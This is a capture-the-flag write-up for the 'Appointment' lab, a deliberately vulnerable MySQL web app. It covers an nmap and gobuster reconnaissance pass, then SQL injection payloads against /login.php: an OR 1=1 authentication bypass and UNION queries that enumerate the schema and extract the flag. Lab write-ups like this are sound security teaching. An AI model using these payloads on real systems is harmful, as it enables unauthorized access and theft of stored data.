MySQL Penetration Primer: SQL Injection Walk-through on the Appointment Lab

Environment Overview

The Appointment lab is a deliberately vulnerable MySQL-backed web application running on Apache HTTP Server. Your goal is to obtain the flag stored in the database by chaining together reconnaissance, directory discovery, and SQL injection.

MySQL Crash Course

MySQL is an open-source relational DBMS that speaks standard SQL plus a handful of vendor extensions. Key SQL sub-languages you will exercise:

DDL – define objects (CREATE TABLE, ALTER TABLE)
DML – manipulate rows (INSERT, UPDATE, DELETE)
DQL – query data (SELECT)
TPL – control transactions (BEGIN, COMMIT, ROLLBACK)
DCL – manage permissions (GRANT, REVOKE)

Reconnaissance

Port Scan

nmap -sV -p- TARGET_IP

Directory Brute-forcing with Gobuster

Install:

sudo apt install gobuster

Run a quick directory scan using the common.txt wordlist:

gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt -t 50

Look for interesting endpoints such as /admin, /login.php, or /backup.

SQL Injection Workflow

1. Identify Injection Point

Assume the login form at /login.php issues the following query:

SELECT * FROM accounts WHERE user = '$login' AND pass = '$password';

Enter a single quote (') in the username field. An SQL error page confirms the input is concatenated directly.

2. Craft the Payload

Inject a tautology to bypass authentication:

Username: admin' OR 1=1 -- -
Password: anything

The resulting query becomes:

SELECT * FROM accounts WHERE user = 'admin' OR 1=1 -- -' AND pass = 'anything';

The comment (-- -) neutralizes the remainder of the statement, and the condition 1=1 always evaluates to true.

3. Enumerate the Schema

Once logged in, escalate to UNION-based injection to read arbitrary tables.

Username: ' UNION SELECT 1,table_name,3 FROM information_schema.tables -- -

Locate a table named flag or similar.

4. Extract the Flag

Username: ' UNION SELECT 1,flag_value,3 FROM flag -- -

The flag is displayed in the response.

Security Concepts in Context

PII – Personally Identifiable Information stored in the accounts table.
OWASP Top 10 – Injection flaws (A03:2021) exploited here.
Apache Configuration – Default virtual host on port 80; logs under /var/log/apache2/.

Freaks City